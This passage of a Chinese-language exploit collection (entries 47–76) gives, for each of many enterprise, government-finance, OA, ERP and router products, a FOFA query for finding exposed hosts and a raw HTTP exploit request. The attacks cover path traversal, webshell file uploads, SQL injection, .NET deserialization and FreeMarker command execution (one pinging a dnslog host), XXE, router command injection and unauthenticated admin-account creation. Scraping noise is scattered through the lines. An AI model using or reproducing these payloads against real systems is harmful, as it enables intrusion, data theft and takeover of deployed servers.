Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ Q  J8 |3 J3 |  J1 K" S" {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
) y4 W! Z* `2 M: K) N3 YFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
9 S3 V7 o" G3 E9 d4 S% b5 pCache-Control: max-age=0
5 `# u- o+ J: y/ T5 WUpgrade-Insecure-Requests: 1
! D+ {0 e7 w0 P+ u/ V4 |/ z& BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
5 E, a$ w* l- _+ d7 {If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
; v' _$ b% M% ?+ @/ V
2 S) d1 ~7 c' A. \& r4 ~' U  h

48. 用友U8 CRM swfupload 任意文件上传
; w. S% M* o9 v- GFOFA：title="用友U8CRM"
. h$ y/ D: Z3 G9 \* w6 C; m# ^7 y" CPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
9 T& j2 ^5 I; Z* z* q2 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 e+ |: D' I0 Q; xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 S  M+ G) d/ C  S, q; V6 SAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
$ s; _. ?6 U9 H- |3 l------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
, A- O) g6 [  U, F------269520967239406871642430066855
0 f% t$ D$ t) Q+ tContent-Disposition: form-data; name="upload"
6 i) S# b9 M" r+ Q7 Eupload
------269520967239406871642430066855--

* C3 }8 M+ A8 G" ~
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
3 q- D6 H. Y8 U& oFOFA：body="用友U8CRM"
4 i+ s& Q4 r0 i0 H% V3 A  y/ }
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
2 S# g/ m0 W5 N9 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
. l7 T$ _  K+ ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# i+ X- Z2 G3 {* j8 YAccept-Encoding: gzip, deflate
& Q: y0 ^' `0 `4 [5 f) sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ E$ H9 A5 w7 f" ^/ f( j: vConnection: close
" Z/ f2 y$ @, q/ d; E% F4 k# n* iContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
5 ~* B* H" F, t- \& M' X8 G
-----------------------------vvv3wdayqv3yppdxvn3w
7 o( N! Q9 z+ G& N5 N  c6 _' W" yContent-Disposition: form-data; name="file"; filename="%s.php "
0 d. M2 k# U3 e: w- o, t: cContent-Type: application/octet-stream
- |  F, R% i" Q& ^$ l* Q
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
3 D! t9 o* `2 p
% N. _6 x4 |5 v# Qupload
. h) k7 @3 U# ?-----------------------------vvv3wdayqv3yppdxvn3w--
# x. }. f/ T* Y4 X

4 l& f  q7 n5 yhttp://x.x.x.x/tmpfile/updB3CB.tmp.php

1 _$ D6 a. X& w! x9 G( l50. QDocs Smart School 6.4.1 filterRecords SQL注入
) J9 P- S9 X2 ~( D5 w0 nFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
4 L2 j. K+ k& }& v5 fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
" {1 g' i' h7 i2 gConnection: close
Content-Length: 224
3 X" _. w% S7 x$ h) rAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
+ g9 Q2 `; h2 M/ E. l* G' MAccept-Encoding: gzip

7 |1 I; X6 l, e* v" T5 Vsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
8 t7 i# r' w5 [
8 H: K* x$ W3 G, L
1 L4 e  C7 b8 f51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
: t8 @; j! d; ^8 J3 c) b8 DGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
% D4 W  s/ H5 C" c9 e% M+ w' IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  b: E- o, L) G  I' _' yConnection: close

* n/ U& L  ]% p: U( r" B6 `+ X. K
52. 泛微E-Office json_common.php sql注入
8 v) }& a* v$ o" a4 Z' x. _# i& Z; iFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
( |3 [0 b  U. B2 n3 x3 ~* I, kHost: 192.168.86.128:8097
; A+ l, e  z# y4 t/ l$ ~+ J# EUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
: }' \4 ?  w( X* G& qAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


# M8 `5 a8 t  w/ c! {/ J6 A4 m% V0 ^53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
! J8 z+ Z2 j2 V! I

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
; t( C6 h, m! c. g3 K" N第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
  A" G1 ~2 W6 w"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

/ m4 j' W; {; e
+ F8 J7 Z2 ^- t9 z( ?5 n. H完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
) j, Z- e" O( C' O4 \User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
, x0 }8 A( j7 v5 U' U. {5 ]Content-Length: 593
# s  B0 p: X9 O3 i/ F, j; {
; h# C/ K; R; T2 w6 z; @{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
. \3 `, X1 `! E  o  v& U) `: z  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
  W2 V# ]2 F8 v# O  F% ?   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
$ f& H9 j+ s7 l0 U$ c* d    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
5 u7 L0 d& A1 x    }
  }
  }
7 ^* L7 b& `0 ]- Y& M5 v+ u! L/ z}
" r+ t1 L: [4 J- B% h' ]

第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
. \; n* J' G/ c5 |

55. 畅捷通T+ getdecallusers信息泄露
( @) a/ H) C8 c- n. q: WFOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
- f4 W7 Q% I4 q7 f; b/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
+ B* ?( t+ c# ]* q/ v
4 }6 o; y, B2 ~% ^$ S0 \; }56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
& @+ V9 _- y2 T/ @- ^% WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
# t& z! `/ u2 I: _9 v
{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
2 K+ M, U( J! o    "ObjectInstance":{
, v/ l4 T3 x) j: A! q4 L       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
) {( D3 t6 Q" N, [! p           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
5 o  F1 g8 |: b% f. C2 s+ }* m       }
9 n3 L9 e% |4 p8 K  V    }
  }
" n+ W1 A/ ]5 M1 }' F; ]4 {}


57. 畅捷通T+ keyEdit.aspx SQL注入
# g# v. T1 T; C0 k; o9 O8 }; N- f' XFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
# t+ U1 ]0 Q  L0 Y9 }& e4 }9 ~Host: host
1 z" l/ f  c" M6 `$ V; b; OUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
) @1 r3 ?/ M$ ^3 ~9 s5 nAccept-Encoding: gzip, deflate
Connection: close
# V) b& x: Z. d3 w$ v
6 `; z, c5 Y) e& s& [+ `2 x0 ^8 j+ X
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
$ _# U8 p; `; j; ^- N0 JGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
) Z1 a: r! W0 T3 S  v9 [$ ZUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
' `2 B. o6 F( y& m7 WAccept-Charset: utf-8
/ q( }: G! q7 _7 u7 w. s- |/ p' C; YAccept-Encoding: gzip, deflate
Connection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
- X% v- G+ }$ r6 x; V; A# T, XUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
0 B9 B. V/ e+ z2 G; f2 CConnection: close
# C2 _; [& j- J5 [4 w% MContent-Length: 1669
  s' O3 G" X% O1 Y3 nAccept: */*
Accept-Language: en
. t, M" ^! g1 I! o# vContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
9 D3 U/ t! S' _9 J; A3 V3 _
PAYLOAD


: _0 ~6 u8 t+ X& y: u! N" b* H8 s( x60. 百卓Smart管理平台 importexport.php SQL注入
: B5 \1 O1 ?3 S- W% JFOFA：title="Smart管理平台"
9 z- T( X7 Z+ U( wGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
, {9 o0 D- M! E. w/ E$ U# ]' \2 S, H9 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) f* n" ~0 e" O9 h9 e, qConnection: close
# C( `8 y) O2 b# Y

3 E# Y- j" B0 N# Z- s, G61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
& d! g* m. }. d- E, \POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
* X7 m3 @2 _) R$ H. |. RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, M2 q* i' c- ?/ ^" C% E: |Connection: close
; W1 S, P9 l2 a+ B! z. J, eContent-Length: 27
# O4 G4 @/ O0 q2 l! nAccept: */*
  b3 Q0 C: F5 }, [- P, HAccept-Encoding: gzip, deflate
1 }  z/ x6 s* y" I$ B+ A! E; {Accept-Language: en
Content-Type: application/x-www-form-urlencoded
, t, s( e( m3 o
7 A" q0 u7 j  u  N) n0 m4 v1 q' z8uxssX66eqrqtKObcVa0kid98xa


) ^( [, [& L" r# L62. IP-guard WebServer 远程命令执行
: D5 E* Z! ^) s. X% [" Y1 d4 ]FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
9 |" n9 m) l7 `+ U$ B$ Y! N; ZConnection: close
7 g  o0 u) m" R7 n! U0 z# L6 TAccept: */*
: U* ~. o* A& |( oAccept-Language: en
7 N- [/ ~4 u) z- E( ~Accept-Encoding: gzip


访问
1 y+ i" {- i+ h! X
. X! |- M" o' Z- XGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
7 e: i" b) ?; u, P" A$ zHost: x.x.x.x


63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
( K  g2 y  n2 w# [/ _% IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
$ _* p) ~& c) g$ k* @2 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 W6 a" c9 ]1 h$ R4 \  YContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
' s2 a' F7 w" \' [2 h" }$ NAccept: */*
# H% m3 \# \" H8 J6 aAccept-Language: en
, ~. v0 ?) M! L$ \& A4 l' TContent-Type: text/xml; charset=utf-8
' @+ N/ G$ l) E: E  }Accept-Encoding: gzip

) g+ R  y. Z$ x! _- `<?xml version="1.0" encoding="utf-8"?>
( [3 M  m- o8 B5 L: o4 b<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
# f; p+ b8 v! K% F8 H    <GetOSpById xmlns="http://tempuri.org/">
8 Z$ w; d( o4 }9 h/ z      <sId>1';waitfor delay '0:0:5'--+</sId>
1 [+ {2 h% c1 c7 L+ T% p    </GetOSpById>
  </soap:Body>
* p! }( ]1 ~  y/ r$ Y8 N: N! i</soap:Envelope>

9 e, l$ e9 ?/ H
; {. D9 v5 ]! z& c8 U$ a- U! H65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
' ~( H! v* ?$ a# n: a2 v1 P: H响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
& ?, G- M& t. M0 b4 uAccept: */*
Connection: close
Accept-Language: en
Content-Length: 174

: F. h9 Q# v, h- R' y7 M1 s1 _operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

. V2 j  ]# E) ^. E- Q
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

1 E- H$ ?4 m) V, l' jGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
! v/ G$ w( C* ^' u9 P- ^# F& b* yHost: x.x.x.x
6 }- x7 s: ?, SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
- j, B1 ~/ X" j6 U0 x( yConnection: close
9 T% |+ u$ k! L0 N; _Accept: */*
Accept-Language: en
" y0 y0 {( A% t& R4 l! k% X  o$ QAccept-Encoding: gzip

. F$ c/ H& u( W
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
) ]) I  S. ^* H
67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
9 O5 U( p6 F# ?5 N( rnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
  h3 H* p/ z1 o* kUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
' }3 X9 y) a( p% A3 `* D  t, FAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
( k  ^) i' D, M+ m$ a2 v/ dContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
; L/ g1 U  `9 e: R, k# kUpgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
: d& D- m2 [* Z" nContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

; f% W7 E# U& q/ h<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

3 v3 ?0 l: L5 X. c; e9 A& a
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
. `- M$ C. K5 ?/ X& W; pHost: {{host}}
9 |+ U5 L0 B0 ^3 t( c# sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
8 {- `) L& T7 |; g  o, [; n2 H7 nAccept-Language: zh-CN,zh;q=0.9
/ l' M; h5 Z, x' s$ ]Connection: close
9 }1 h2 d6 ]6 ?5 I$ ^+ L5 L, C; G

$ r/ G9 q, a) L6 C) X/ J4 ?69. 万户 ezOFFICE contract_gd.jsp SQL注入
" ?, d5 @3 q1 n: e  I+ u6 I* [0 YFOFA：app="万户ezOFFICE协同管理平台"
% E" ^- u) F; b/ N' QGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
( K0 K% z3 e+ fConnection: keep-alive
1 F2 |( `. n' p2 p
# |( L1 n1 _9 k+ c, B; Q
% f/ u( x$ y) s70. 万户ezEIP success 命令执行
* m" U: V: K, D8 q1 H' LFOFA：app="万户网络-ezEIP"
! l' c* c! R. C0 G5 `9 _POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
- X$ A$ ?* G* m. ~/ X' [  tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
# Z4 ?3 l/ y. A: @6 t' h) w1 w5 }SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
: A* |6 n% y4 {& ZTYPE: C
Content-Length: 16702
# N& V5 B; X1 _7 @
__VIEWSTATE=PAYLOAD
! y! `! X1 [$ v7 Q6 e9 h4 F- _
1 M* C$ U: N1 F$ v1 F6 c3 P
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
& k( d: F: O, Y) ?( a" GGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
3 m# ?, i' E7 U( _7 P# i8 oHost: x.x.x.xx.x.x.x
# w' R0 m2 K# yUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
* Y2 u, a3 v' t4 i; V0 j8 k$ hConnection: close
; i3 q- j% o9 c0 k5 _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1


" g. |" ?- \2 |/ t$ i72. 致远OA getAjaxDataServlet XXE
; k2 d. p3 h( u0 K) E/ m1 ]FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
: w: T1 y5 N8 V/ zConnection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
/ C& }9 p0 T4 K. P* @! KContent-Length: 1981
% P- y  u- |, {Accept-Encoding: gzip, deflate
' x6 Z5 K1 W6 |6 n( m1 y; sConnection: close
2 n& i8 Q1 ^3 I; Y/ x" UContent-Type: application/xml
  d+ D! t% A  T$ b) OSL-CE-SUID: 3

$ U1 N$ n  Q2 H" _PAYLOAD

+ Y' S( [$ _3 d' @
74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD

4 J9 s9 ^9 j+ D+ i* t$ k! T3 G7 j; ^$ J75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
8 X6 U1 i& R! v6 K- S0 ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 o4 n/ A0 `5 M' Y, U' CConnection: close
! C$ m, j$ U" G4 QAccept: */*
Accept-Language: en
Accept-Encoding: gzip


  e: i; W+ a  a2 P4 y, R1 xGET /cgi-bin/test28256.txt HTTP/1.1
+ [* f8 s% k- \" c: ]3 DHost: x.x.x.x
2 O' V9 m* i7 y! q8 `  o; ?; V4 Z
9 ~$ Q. M: o9 t( [9 H8 y
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
" y6 z. M3 l3 _1 PHost: x.x.x.x
0 M% l7 i& j; s7 U0 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
$ p0 T+ ]: M8 q9 A7 z* z5 j# _& JConnection: close
6 T; B* L1 p. o3 cContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. z+ V2 z  s* w0 Y: I- g# x; u5 cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
: ^+ f8 p1 ~1 qUpgrade-Insecure-Requests: 1
$ O% v. j9 S- R. y* a4 F3 d
* \3 _. }0 a8 t' Q! Z% W' t{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
6 T: m  l# P. q  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
& b# b% f* f1 r}

6 K6 Q: S% R  k( c' ~; e5 j. i. E5 d
2 |3 @! q$ J( fGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
